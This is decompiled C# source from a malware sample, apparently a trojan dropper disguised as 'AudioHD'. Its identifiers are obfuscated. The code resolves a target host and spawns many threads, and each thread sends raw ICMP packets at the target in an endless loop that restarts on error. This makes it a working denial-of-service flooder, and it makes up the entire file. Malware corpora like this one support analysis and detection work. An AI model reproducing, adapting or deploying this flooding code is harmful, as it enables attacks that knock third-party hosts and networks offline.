// Decompiled with JetBrains decompiler // Type: . // Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe using \u0008; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; namespace \u0008 { internal sealed class \u0003 { private static ThreadStart[] \u0001; private static Thread[] \u0001; public static string \u0001; public static int \u0001; private static IPEndPoint \u0001; public static int \u0002; private static \u0003.\u0001[] \u0001; public static int \u0003; public static bool \u0001 = false; public static void \u000F() { try { \u0003.\u0001 = new IPEndPoint(Dns.GetHostEntry(\u0003.\u0001).AddressList[0], 0); } catch { \u0003.\u0001 = new IPEndPoint(IPAddress.Parse(\u0003.\u0001), 0); } \u0003.\u0001 = new Thread[\u0003.\u0003]; \u0003.\u0001 = new ThreadStart[\u0003.\u0003]; \u0003.\u0001 = new \u0003.\u0001[\u0003.\u0003]; for (int index = 0; index < \u0003.\u0003; ++index) { \u0003.\u0001[index] = new \u0003.\u0001(\u0003.\u0001, \u0003.\u0001, \u0003.\u0002); \u0003.\u0001[index] = new ThreadStart(\u0003.\u0001[index].\u000F); \u0003.\u0001[index] = new Thread(\u0003.\u0001[index]); \u0003.\u0001[index].Start(); } \u0003.\u0001 = true; } public static void \u0010() { for (int index = 0; index < \u0003.\u0003; ++index) { try { \u0003.\u0001[index].Abort(); \u0003.\u0001[index].Join(); } catch { \u0003.\u0001 = false; } } \u0003.\u0001 = false; } private sealed class \u0001 { private int \u0001; private IPEndPoint \u0001; private int \u0002; private Socket[] \u0001; public \u0001([In] IPEndPoint obj0, [In] int obj1, [In] int obj2) { this.\u0001 = obj0; this.\u0001 = obj1; this.\u0002 = obj2; } public void \u000F() { byte[] buffer = new byte[this.\u0002]; label_1: try { while (true) { this.\u0001 = new Socket[this.\u0001]; for (int index = 0; index < this.\u0001; ++index) { this.\u0001[index] = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp); this.\u0001[index].Blocking = false; this.\u0001[index].SendTo(buffer, (EndPoint) this.\u0001); } Thread.Sleep(100); for (int index = 0; index < this.\u0001; ++index) { if (this.\u0001[index].Connected) this.\u0001[index].Disconnect(false); this.\u0001[index].Close(); this.\u0001[index] = (Socket) null; } this.\u0001 = (Socket[]) null; } } catch { for (int index = 0; index < this.\u0001; ++index) { try { if (this.\u0001[index].Connected) this.\u0001[index].Disconnect(false); this.\u0001[index].Close(); this.\u0001[index] = (Socket) null; } catch { } } goto label_1; } } } } }